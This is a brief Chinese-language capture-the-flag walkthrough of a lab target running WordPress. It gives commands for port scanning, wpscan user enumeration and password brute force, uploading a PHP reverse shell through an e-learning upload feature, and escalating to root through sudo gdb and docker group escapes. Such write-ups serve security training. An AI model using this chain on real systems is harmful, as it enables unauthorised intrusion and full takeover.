kali:192.168.111.111
靶机:192.168.111.188
信息收集
端口扫描
nmap -A -v -sV -T5 -p- --script=http-enum 192.168.111.188
访问web发现是wordpress网站
使用wpscan收集到两个用户名
wpscan --url http://192.168.111.188 -e u
wpscan爆破,得到账号密码:reconauthor|football7
wpscan --url http://192.168.111.188 -U user.txt -P /usr/share/wordlists/rockyou.txt
登录后台后选择Posts -> Add New -> e_Learning,上传反弹shell
这里需要上传zip压缩包,压缩包里需要有php反弹shell和至少一个html文件
zip php-reverse-shell.zip php-reverse-shell.php z.html
上传完成后访问该路径:/wp-content/uploads/articulate_uploads/shell/
获得反弹shell
提权
www-data用户sudo -l
提权方法:https://gtfobins.github.io/gtfobins/gdb/#sudo
切换到offensivehack用户
sudo -u offensivehack gdb -nx -ex '!sh' -ex quit
发现offensivehack用户处于docker组,提权方法:https://gtfobins.github.io/gtfobins/docker/
输入该命令获得root权限
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
获得flag